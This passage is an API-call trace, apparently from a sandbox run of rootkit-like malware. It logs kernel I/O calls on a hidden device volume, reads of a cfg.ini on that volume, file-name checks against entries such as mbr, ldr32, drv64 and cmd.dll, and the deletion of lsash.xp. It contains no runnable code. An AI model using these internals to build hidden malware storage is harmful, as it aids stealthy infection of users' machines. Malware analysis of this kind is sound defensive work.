MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.152] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.152] IdePortDispatch () returned 0x103 [0122.153] KeWaitForMutexObject () returned 0x0 [0122.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.153] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.153] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.153] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.153] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.153] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3340 [0122.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.153] KeLeaveCriticalRegion () [0122.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.153] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.153] KeEnterCriticalRegion () [0122.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.153] KeLeaveCriticalRegion () [0122.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.153] KeEnterCriticalRegion () [0122.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.153] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.153] IdePortDispatch () returned 0x103 [0122.153] KeWaitForMutexObject () returned 0x0 [0122.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.153] KeLeaveCriticalRegion () [0122.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.154] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.154] KeEnterCriticalRegion () [0122.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3a000 [0122.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.154] IdePortDispatch () returned 0x103 [0122.154] KeWaitForMutexObject () returned 0x0 [0122.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.154] IdePortDispatch () returned 0x103 [0122.154] KeWaitForMutexObject () returned 0x0 [0122.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.154] KeLeaveCriticalRegion () [0122.154] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.155] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.155] KeEnterCriticalRegion () [0122.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] KeLeaveCriticalRegion () [0122.155] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.155] KeEnterCriticalRegion () [0122.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.155] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3560, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] KeLeaveCriticalRegion () [0122.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.155] KeEnterCriticalRegion () [0122.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] ExFreePoolWithTag (P=0xfffffa8003be3340, Tag=0x0) [0122.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] KeLeaveCriticalRegion () [0122.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.155] ReleaseMutex (hMutex=0xf0) returned 1 [0122.155] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.155] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.155] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.155] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.155] KeEnterCriticalRegion () [0122.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.155] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.156] IdePortDispatch () returned 0x103 [0122.156] KeWaitForMutexObject () returned 0x0 [0122.156] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.156] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.156] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.156] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.156] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.156] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.156] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.156] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.156] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.156] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.156] KeLeaveCriticalRegion () [0122.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.156] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.156] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.156] KeEnterCriticalRegion () [0122.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.156] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.156] IdePortDispatch () returned 0x103 [0122.156] KeWaitForMutexObject () returned 0x0 [0122.156] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.156] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.157] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.157] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.157] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.157] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.157] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.157] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.157] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.157] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.157] KeLeaveCriticalRegion () [0122.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.157] ReleaseMutex (hMutex=0x100) returned 1 [0122.157] Sleep (dwMilliseconds=0x2bf20) [0122.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c02c770, dwHighDateTime=0x1d24fa4)) [0122.164] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.164] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.164] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.164] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.164] KeEnterCriticalRegion () [0122.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.164] IdePortDispatch () returned 0x103 [0122.164] KeWaitForMutexObject () returned 0x0 [0122.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.164] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.164] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.164] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.164] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.164] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e60 [0122.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] KeLeaveCriticalRegion () [0122.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.164] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.164] KeEnterCriticalRegion () [0122.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] KeLeaveCriticalRegion () [0122.165] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.165] KeEnterCriticalRegion () [0122.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.165] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.165] IdePortDispatch () returned 0x103 [0122.165] KeWaitForMutexObject () returned 0x0 [0122.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.165] KeLeaveCriticalRegion () [0122.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.165] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.165] KeEnterCriticalRegion () [0122.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c41000 [0122.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.165] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.165] IdePortDispatch () returned 0x103 [0122.165] KeWaitForMutexObject () returned 0x0 [0122.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.165] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.165] IdePortDispatch () returned 0x103 [0122.166] KeWaitForMutexObject () returned 0x0 [0122.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.166] KeLeaveCriticalRegion () [0122.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.166] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.166] KeEnterCriticalRegion () [0122.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.166] KeLeaveCriticalRegion () [0122.166] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.166] KeEnterCriticalRegion () [0122.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.166] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.166] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.166] KeLeaveCriticalRegion () [0122.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.166] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.166] KeEnterCriticalRegion () [0122.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] ExFreePoolWithTag (P=0xfffffa8003be3e60, Tag=0x0) [0122.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] KeLeaveCriticalRegion () [0122.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.167] ReleaseMutex (hMutex=0xf0) returned 1 [0122.167] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.167] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.167] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.167] KeEnterCriticalRegion () [0122.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.167] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.167] IdePortDispatch () returned 0x103 [0122.167] KeWaitForMutexObject () returned 0x0 [0122.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.167] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.167] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.167] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.167] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.167] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3440 [0122.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] KeLeaveCriticalRegion () [0122.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.167] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.167] KeEnterCriticalRegion () [0122.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] KeLeaveCriticalRegion () [0122.167] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.167] KeEnterCriticalRegion () [0122.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.168] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.168] IdePortDispatch () returned 0x103 [0122.168] KeWaitForMutexObject () returned 0x0 [0122.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.168] KeLeaveCriticalRegion () [0122.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.168] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.168] KeEnterCriticalRegion () [0122.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c42000 [0122.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.168] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.168] IdePortDispatch () returned 0x103 [0122.168] KeWaitForMutexObject () returned 0x0 [0122.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) 